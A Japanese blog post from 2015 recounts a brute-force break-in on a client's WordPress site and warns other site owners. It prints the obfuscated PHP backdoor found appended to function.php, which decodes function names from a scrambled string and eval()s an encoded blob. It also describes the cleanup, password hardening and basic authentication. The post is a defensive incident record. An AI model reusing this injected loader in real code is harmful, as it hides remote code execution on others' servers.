ワードプレスサイトがブルートフォースアタックされてしまったのでメモと注意喚起
2015年3月24日 19:15

brute-force-attack

クライアント様のサイトにwordpressを実装しているのですが、昨日「サイトの表示がおかしい」とのご連絡が入りました。
確認するとfunction.phpのParse error(構文エラー)画面が吐き出されていました。
もちろんwordpressのログイン画面にも同エラーがでており、管理画面にもログインできません。

そこでftpから直接function.phpを確認すると、phpコードに改ざんが確認できました。

【追記されていたコード】

<?php
	$O00OO0 = urldecode("%82%c8%82%f1%82%a9%82%df%82%bf%82%e1%82%df%82%bf%82%e1%82%c8%83z%83Q%83z%83Q%82%dc%82%ad%82%e8%83%7b%83%93%83o%81%5b");
	$O00O0O = $O00OO0{3} . $O00OO0{6} . $O00OO0{33} . $O00OO0{30};
	$O0OO00 = $O00OO0{33} . $O00OO0{10} . $O00OO0{24} . $O00OO0{10} . $O00OO0{24};
	$OO0O00 = $O0OO00{0} . $O00OO0{18} . $O00OO0{3} . $O0OO00{0} . $O0OO00{1} . $O00OO0{24};
	$OO0000 = $O00OO0{7} . $O00OO0{13};
	$O00O0O .= $O00OO0{22} . $O00OO0{36} . $O00OO0{29} . $O00OO0{26} . $O00OO0{30} . $O00OO0{32} . $O00OO0{35} . $O00OO0{26} . $O00OO0{30};
	eval($O00O0O("4TEnfttbeMzXJh8DaKoMQFxjf0iDGwvAXlIxCp6kV4shBH573ZiyAEstzBfMOSGOB3ykQPBgRetgpOPU5SY8aFbT9wwV6TTYz9bBGbBDQ2u6uT3OWc13YxQDXHB9mDyaBsjycvLxveNS1mdJe5De6ARmxTIJeuQZV9kdIeaNgXQygep4ad40PTk2uY0i5sJ92HozQpPJwRYIWqlIHYACDxnJz1lkLrwXLFHG5Qp1uA9TQu2oueupPzO8PueqZHi4sqn8NUZGPIOKjJLrosw2sD4r3rFRrQYPlIlnyNIsli8qV4LHa5RlqM8KrjvMDOusK2BNvGTw9Oa4sDucvXjWiI0AfFaXY5bpe7FM4J5Lm92x1vjsYKo6YfG40BhLsz2b50BqqXO2UZznPN1aTYGBLfA3BGnxHC4fTENZwZ4xR3BL3E43NIAY3uCHPJvDHtKGVYOjR3m1kgoq5TboSdXclrAZJ5djv8KV5hxRWAORzCnwmyHOtSbwNO2KBrHw6lhy5CLvmzmRujfCamxZSnYz83eFPJsPmoECAviFdCCum8kpZ16HK3hhpTKgP43ccYSuxJY4IMACbFOv7oJoNXiPTeSfL0tgzW4wPoV5zvcb4DJPxGGijmBPU2VyPITiFOibEfO7rIxXglq4ttOmeLfjAgED62RS7OWzrVEmH9Y9AC9tYrIW4fTL1XRNsK4zyoC5cAaDt6KVCKK9"));
?>

改ざん部分を削除して修復ののち、再度function.phpをアップロード。
サイトは元通りに復帰いたしました。

念のため導入しておいた「Crazy Bone(狂骨)」でログイン履歴を確認すると、ほんの何分の間に海外からの不正ログイン試行2,000~3,000回のブルートフォースアタック(総当り攻撃)の痕跡が記録されていました。

wordpressでは過去にも何件かのっとられてしまったこともあり、パスワードなどにも注意はしているもののまだまだこのイタチゴッコには勝てないようです。。

不正アクセス防止プラグインなども多数存在しており、様々な予防策が存在するのですが、プラグインが競合するなどあまりやりすぎて管理者自信がログインできなくなってしまったりしては本末転倒なので対策は慎重にしなければなりませんね。

今回は、その他のファイルに改ざん及び不要ファイルの追加などが無いか全てチェックし、パスワードの複雑化とログイン画面にベーシック認証を設置することで処理しました。

以下にも様々な対策が紹介されていますが、まずはパスワードの複雑化は必須としておきたいところです。
ログイン画面にベーシック認証の設置も簡単にできる対応だと思うので、うちでは今後この二つを必須にして改ざんから身を守ろうと思います。
WordPressのセキュリティ対策でしておくべき11の項目

wordpressを使用されている皆様はどうぞお気をつけくださいませ。